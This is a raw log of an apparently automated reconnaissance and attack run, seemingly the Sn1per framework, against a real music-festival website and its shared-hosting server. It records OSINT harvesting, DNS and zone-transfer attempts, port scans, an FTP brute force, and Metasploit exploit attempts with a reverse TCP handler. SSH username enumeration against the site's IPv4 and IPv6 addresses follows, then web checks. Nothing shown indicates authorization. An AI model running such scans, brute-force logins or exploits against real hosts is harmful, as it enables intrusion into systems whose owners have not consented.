;
; This data is provided by united-domains AG
; for information purposes, and to assist persons obtaining information
; about or related to domain name registration records.
; united-domains AG does not guarantee its accuracy.
; By submitting a WHOIS query, you agree that you will use this data
; only for lawful purposes and that, under no circumstances, you will
; use this data to
; 1) allow, enable, or otherwise support the transmission of mass
;    unsolicited, commercial advertising or solicitations via e-mail
;    (spam); or
; 2) enable high volume, automated, electronic processes that apply
;    to this WHOIS server.
; These terms may be changed without prior notice.
; By submitting this query, you agree to abide by this policy.

 + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Full harvest..
[-] Searching in Google..
	Searching 0 results...
	Searching 100 results...
	Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
[-] Searching in Exalead..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
	Searching 250 results...


[+] Emails found:
------------------
sales@novalisfestival.com

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
185.119.174.103:www.novalisfestival.com
[+] Virtual hosts:
==================
185.119.174.103	scotsfiddlefestival
185.119.174.103	www.oak-beams
185.119.174.103	baaningkao
185.119.174.103	www.hipsarchitecturalironmongery
185.119.174.103	www.exiliadosrepublicanos.info
185.119.174.103	www.zagrebtours
185.119.174.103	www.montaguejeffery
185.119.174.103	www.updown.co.il
185.119.174.103	yumtz.com
185.119.174.103	www.lewiscommercials
185.119.174.103	eplaw
185.119.174.103	www.constructionleadershipcouncil
185.119.174.103	haywoodparkfarm
185.119.174.103	www.dua
185.119.174.103	eplaw.org
185.119.174.103	www.montaguejeffery.co.uk
185.119.174.103	www.constructionleadershipcouncil.co.uk
185.119.174.103	mesta.net
185.119.174.103	www.ferrocentralsa.com.ar
185.119.174.103	www.onsk8.com
185.119.174.103	www.derinbilgi.com.tr
185.119.174.103	grothia.gr
185.119.174.103	www.7iklim.com
185.119.174.103	www.gak.gda.pl
185.119.174.103	www.vikendi.com

******************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                         |___/                      *
* Metagoofil Ver 2.2                                 *
* Christian Martorella                               *
* Edge-Security.com                                  *
* cmartorella_at_edge-security.com                   *
******************************************************

[-] Starting online search...

[-] Searching for doc files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for pdf files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for xls files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for csv files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for txt files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------

processing
user
email

[+] List of users found:
--------------------------

[+] List of software found:
-----------------------------

[+] List of paths and servers found:
---------------------------------------

[+] List of e-mails found:
----------------------------
 + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +

; <<>> DiG 9.11.2-5-Debian <<>> -x novalisfestival.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 37654
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;com.novalisfestival.in-addr.arpa. IN	PTR

;; AUTHORITY SECTION:
in-addr.arpa.		3600	IN	SOA	b.in-addr-servers.arpa. nstld.iana.org. 2017102523 1800 900 604800 3600

;; Query time: 94 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Fri Jan 05 12:09:55 EST 2018
;; MSG SIZE  rcvd: 129

dnsenum VERSION:1.2.4

-----   novalisfestival.com   -----


Host's addresses:
__________________

novalisfestival.com.                     3554     IN    A        185.119.174.103


Name Servers:
______________

ns3.webfaction.com.                      300      IN    A        62.138.130.11
ns2.webfaction.com.                      300      IN    A        103.44.220.74
ns4.webfaction.com.                      300      IN    A        148.72.160.4
ns1.webfaction.com.                      300      IN    A        185.20.51.42


Mail (MX) Servers:
___________________

mx7.webfaction.com.                      3600     IN    A        185.20.49.162
mx8.webfaction.com.                      3600     IN    A        185.20.49.163
mx9.webfaction.com.                      3600     IN    A        185.20.49.164


Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for novalisfestival.com on ns3.webfaction.com ...

Trying Zone Transfer for novalisfestival.com on ns2.webfaction.com ...

Trying Zone Transfer for novalisfestival.com on ns4.webfaction.com ...

Trying Zone Transfer for novalisfestival.com on ns1.webfaction.com ...

brute force file not specified, bay.
 + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for novalisfestival.com
[-] verbosity is enabled, will show the subdomains results in realtime
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
Virustotal: www.novalisfestival.com
SSL Certificates: www.novalisfestival.com
Bing: www.novalisfestival.com
Yahoo: www.novalisfestival.com
[-] Saving results to file: /usr/share/sniper/loot/domains/domains-novalisfestival.com.txt
[-] Total Unique Subdomains Found: 1
www.novalisfestival.com

 ╔═╗╩═╗╔╩╗╔═╗╩ ╩
 ║  ╠╩╝ ║ ╚═╗╠═╣
 ╚═╝╩╚═ ╩o╚═╝╩ ╩
 + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +

www.novalisfestival.com
 [+] Domains saved to: /usr/share/sniper/loot/domains/domains-novalisfestival.com-full.txt

 + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
 + -- ----------------------------=[Checking Email Security]=----------------- -- +

 + -- ----------------------------=[Pinging host]=---------------------------- -- +
PING novalisfestival.com(2a01:9cc0:0:1:1a:3:0:11c (2a01:9cc0:0:1:1a:3:0:11c)) 56 data bytes
64 bytes from 2a01:9cc0:0:1:1a:3:0:11c (2a01:9cc0:0:1:1a:3:0:11c): icmp_seq=1 ttl=56 time=94.9 ms

--- novalisfestival.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 94.958/94.958/94.958/0.000 ms

 + -- ----------------------------=[Running TCP port scan]=------------------- -- +

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 12:10 EST
Nmap scan report for novalisfestival.com (185.119.174.103)
Host is up (0.098s latency).
Other addresses for novalisfestival.com (not scanned): 2a01:9cc0:0:1:1a:3:0:11c
rDNS record for 185.119.174.103: web564.webfaction.com
Not shown: 465 filtered ports, 2 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
3306/tcp open  mysql
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 4.53 seconds

 + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
 + -- --=[Port 21 opened... running tests...

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 12:10 EST
Nmap scan report for novalisfestival.com (185.119.174.103)
Host is up (0.098s latency).
Other addresses for novalisfestival.com (not scanned): 2a01:9cc0:0:1:1a:3:0:11c
rDNS record for 185.119.174.103: web564.webfaction.com

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 1101 guesses in 182 seconds, average tps: 5.9
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8, Linux 3.2 - 4.8
Network Distance: 11 hops
Service Info: OS: Unix

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   0.97 ms   192.168.1.254
2   8.68 ms   10.135.18.1
3   30.39 ms  75.154.223.222
4   30.58 ms  lag-113.ear3.NewYork1.Level3.net (4.15.212.245)
5   98.10 ms  ae-226-3602.edge3.London15.Level3.net (4.69.167.94)
6   97.82 ms  ae-118-3504.edge3.London15.Level3.net (4.69.167.86)
7   102.39 ms 212.187.195.54
8   100.90 ms 185.52.26.128
9   100.18 ms 185.52.26.183
10  97.69 ms  uk.slo.prgn.b10.stk1.misp.co.uk (185.52.26.180)
11  96.79 ms  web564.webfaction.com (185.119.174.103)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.65 seconds
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.16.28-dev                         ]
+ -- --=[ 1716 exploits - 985 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => novalisfestival.com
RHOSTS => novalisfestival.com
[-] novalisfestival.com:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (novalisfestival.com:21).
[*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 2001:56b:dcc9:af00:6563:9d63:c52a:bdcf:4444
[-] novalisfestival.com:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (novalisfestival.com:21).
[*] Exploit completed, but no session was created.
 + -- --=[Port 22 opened... running tests...
# general
(gen) banner: SSH-2.0-OpenSSH_7.4
(gen) software: OpenSSH 7.4
(gen) compatibility: OpenSSH 7.3+ (some functionality from 6.6), Dropbear SSH 2016.73+ (some functionality from 0.52)
(gen) compression: enabled (zlib@openssh.com)

# key exchange algorithms
(kex) curve25519-sha256                     -- [warn] unknown algorithm
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256  -- [warn] using custom size modulus (possibly weak)
                                            `- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group-exchange-sha1    -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.3.0
(kex) diffie-hellman-group14-sha256         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group14-sha1           -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
(kex) diffie-hellman-group1-sha1            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [fail] disabled (in client) since OpenSSH 7.0, logjam attack
                                            `- [warn] using small 1024-bit modulus
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28

# host-key algorithms
(key) ssh-rsa                               -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
(key) rsa-sha2-512                          -- [info] available since OpenSSH 7.2
(key) rsa-sha2-256                          -- [info] available since OpenSSH 7.2
(key) ecdsa-sha2-nistp256                   -- [fail] using weak elliptic curves
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5

# encryption algorithms (ciphers)
(enc) 3des-cbc                              -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher
                                            `- [warn] using weak cipher mode
                                            `- [warn] using small 64-bit block size
                                            `- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28
(enc) blowfish-cbc                          -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [fail] disabled since Dropbear SSH 0.53
                                            `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
                                            `- [warn] using weak cipher mode
                                            `- [warn] using small 64-bit block size
                                            `- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28
(enc) cast128-cbc                           -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
                                            `- [warn] using weak cipher mode
                                            `- [warn] using small 64-bit block size
                                            `- [info] available since OpenSSH 2.1.0
(enc) aes128-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
(enc) aes192-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0
(enc) aes256-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47
(enc) rijndael-cbc@lysator.liu.se           -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes128-gcm@openssh.com                -- [info] available since OpenSSH 6.2
(enc) aes256-gcm@openssh.com                -- [info] available since OpenSSH 6.2
(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9.

# message authentication code algorithms
(mac) umac-64-etm@openssh.com               -- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 6.2
(mac) umac-128-etm@openssh.com              -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha1-etm@openssh.com             -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 6.2
(mac) umac-64@openssh.com                   -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 4.7
(mac) umac-128@openssh.com                  -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 7.4)
(rec) -diffie-hellman-group14-sha1          -- kex algorithm to remove
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove
(rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove
(rec) -diffie-hellman-group1-sha1           -- kex algorithm to remove
(rec) -diffie-hellman-group-exchange-sha1   -- kex algorithm to remove
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove
(rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove
(rec) -rijndael-cbc@lysator.liu.se          -- enc algorithm to remove
(rec) -blowfish-cbc                         -- enc algorithm to remove
(rec) -3des-cbc                             -- enc algorithm to remove
(rec) -aes256-cbc                           -- enc algorithm to remove
(rec) -cast128-cbc                          -- enc algorithm to remove
(rec) -aes192-cbc                           -- enc algorithm to remove
(rec) -aes128-cbc                           -- enc algorithm to remove
(rec) -hmac-sha2-512                        -- mac algorithm to remove
(rec) -umac-128@openssh.com                 -- mac algorithm to remove
(rec) -hmac-sha2-256                        -- mac algorithm to remove
(rec) -umac-64@openssh.com                  -- mac algorithm to remove
(rec) -hmac-sha1                            -- mac algorithm to remove
(rec) -hmac-sha1-etm@openssh.com            -- mac algorithm to remove
(rec) -umac-64-etm@openssh.com              -- mac algorithm to remove


Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 12:13 EST
NSE: [ssh-run] Failed to specify credentials and command to run.
Nmap scan report for novalisfestival.com (185.119.174.103)
Host is up (0.097s latency).
Other addresses for novalisfestival.com (not scanned): 2a01:9cc0:0:1:1a:3:0:11c
rDNS record for 185.119.174.103: web564.webfaction.com

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-auth-methods:
|_  Supported authentication methods: false
|_ssh-brute: Password authenication not allowed
|_ssh-publickey-acceptance: ERROR: Script execution failed (use -d to debug)
|_ssh-run: Failed to specify credentials and command to run.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8, Linux 3.2 - 4.8
Network Distance: 11 hops

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   0.88 ms   192.168.1.254
2   8.98 ms   10.135.18.1
3   30.66 ms  75.154.223.222
4   30.51 ms  lag-113.ear3.NewYork1.Level3.net (4.15.212.245)
5   97.71 ms  ae-227-3603.edge3.London15.Level3.net (4.69.167.98)
6   97.47 ms  ae-225-3601.edge3.London15.Level3.net (4.69.167.90)
7   102.46 ms 212.187.195.54
8   100.73 ms 185.52.26.128
9   ... 10
11  96.63 ms  web564.webfaction.com (185.119.174.103)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.81 seconds
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v4.16.28-dev                         ]
+ -- --=[ 1716 exploits - 985 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
RHOSTS => novalisfestival.com
[!] RHOST is not a valid option for this module. Did you mean RHOSTS?
RHOST => novalisfestival.com
[*] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - Checking for false positives
[*] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - Starting scan
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'admin' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'administrator' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'anonymous' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'backup' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'bee' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'ftp' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'guest' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'GUEST' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'info' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'mail' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'mailadmin' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'msfadmin' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'mysql' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'nobody' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'oracle' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'owaspbwa' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'postfix' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'postgres' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'private' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'proftpd' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'public' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'root' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'superadmin' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'support' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'sys' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'system' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'systemadmin' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'systemadministrator' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'test' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'tomcat' on could not connect
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'user' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'webmaster' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'www-data' not found
[-] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH - User 'Fortimanager_Access' on could not connect
[*] Scanned 1 of 2 hosts (50% complete)
[*] 185.119.174.103:22 - SSH - Checking for false positives
[*] 185.119.174.103:22 - SSH - Starting scan
[-] 185.119.174.103:22 - SSH - User 'admin' on could not connect
[-] 185.119.174.103:22 - SSH - User 'administrator' on could not connect
[-] 185.119.174.103:22 - SSH - User 'anonymous' on could not connect
[-] 185.119.174.103:22 - SSH - User 'backup' on could not connect
[-] 185.119.174.103:22 - SSH - User 'bee' on could not connect
[-] 185.119.174.103:22 - SSH - User 'ftp' on could not connect
[-] 185.119.174.103:22 - SSH - User 'guest' on could not connect
[-] 185.119.174.103:22 - SSH - User 'GUEST' on could not connect
[-] 185.119.174.103:22 - SSH - User 'info' on could not connect
[-] 185.119.174.103:22 - SSH - User 'mail' on could not connect
[-] 185.119.174.103:22 - SSH - User 'mailadmin' on could not connect
[-] 185.119.174.103:22 - SSH - User 'msfadmin' on could not connect
[-] 185.119.174.103:22 - SSH - User 'mysql' on could not connect
[-] 185.119.174.103:22 - SSH - User 'nobody' on could not connect
[-] 185.119.174.103:22 - SSH - User 'oracle' on could not connect
[-] 185.119.174.103:22 - SSH - User 'owaspbwa' on could not connect
[-] 185.119.174.103:22 - SSH - User 'postfix' on could not connect
[-] 185.119.174.103:22 - SSH - User 'postgres' on could not connect
[-] 185.119.174.103:22 - SSH - User 'private' on could not connect
[-] 185.119.174.103:22 - SSH - User 'proftpd' on could not connect
[-] 185.119.174.103:22 - SSH - User 'public' on could not connect
[-] 185.119.174.103:22 - SSH - User 'root' on could not connect
[-] 185.119.174.103:22 - SSH - User 'superadmin' on could not connect
[-] 185.119.174.103:22 - SSH - User 'support' on could not connect
[-] 185.119.174.103:22 - SSH - User 'sys' on could not connect
[-] 185.119.174.103:22 - SSH - User 'system' on could not connect
[-] 185.119.174.103:22 - SSH - User 'systemadmin' on could not connect
[-] 185.119.174.103:22 - SSH - User 'systemadministrator' on could not connect
[-] 185.119.174.103:22 - SSH - User 'test' on could not connect
[-] 185.119.174.103:22 - SSH - User 'tomcat' on could not connect
[-] 185.119.174.103:22 - SSH - User 'user' on could not connect
[-] 185.119.174.103:22 - SSH - User 'webmaster' on could not connect
[-] 185.119.174.103:22 - SSH - User 'www-data' on could not connect
[-] 185.119.174.103:22 - SSH - User 'Fortimanager_Access' on could not connect
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: KEY_FILE.
[+] 2a01:9cc0:0:1:1a:3:0:11c:22 - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.protocol=ssh fingerprint_db=ssh.banner )
[*] novalisfestival.com:22 - Scanned 1 of 2 hosts (50% complete)
[*] novalisfestival.com:22 - Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 53 closed... skipping.
 + -- --=[Port 79 closed... skipping.
 + -- --=[Port 80 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://novalisfestival.com
Generic Detection results:
No WAF detected by the generic detection
Number of requests: 13

 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
http://novalisfestival.com [301 Moved Permanently] HTTPServer[nginx], IP[185.119.174.103], RedirectLocation[http://www.novalisfestival.com/], Title[301 Moved Permanently], nginx
http://www.novalisfestival.com/ [301 Moved Permanently] HTTPServer[nginx], IP[185.119.174.103], RedirectLocation[https://www.novalisfestival.com/], Title[301 Moved Permanently], nginx
https://www.novalisfestival.com/ [200 OK] Email[info@novalisfestival.com], HTML5, HTTPServer[nginx], IP[185.119.174.103], JQuery[1.12.4], Lightbox, MetaGenerator[WordPress 4.9.1], PoweredBy[WordPress], Script[text/javascript], Title[NOVALIS MUSIC + art festival &#8211; 07.07. &#8211; 14.07.2018], UncommonHeaders[link], WordPress[4.9.1], nginx

	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: novalisfestival.com:80
+ -- --=[Site not vulnerable to Cross-Site Tracing!
+ -- --=[Site not vulnerable to Host Header Injection!
+ -- --=[Site vulnerable to Cross-Frame Scripting!
+ -- --=[Site vulnerable to Clickjacking!

HTTP/1.1 405 Not Allowed
Server: nginx
Date: Fri, 05 Jan 2018 17:52:51 GMT
Content-Type: text/html
Content-Length: 166
Connection: close

<html>
<head><title>405 Not Allowed</title></head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx</center>
</body>
</html>

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 05 Jan 2018 17:52:51 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 239
Connection: keep-alive
Location: http://www.novalisfestival.com/

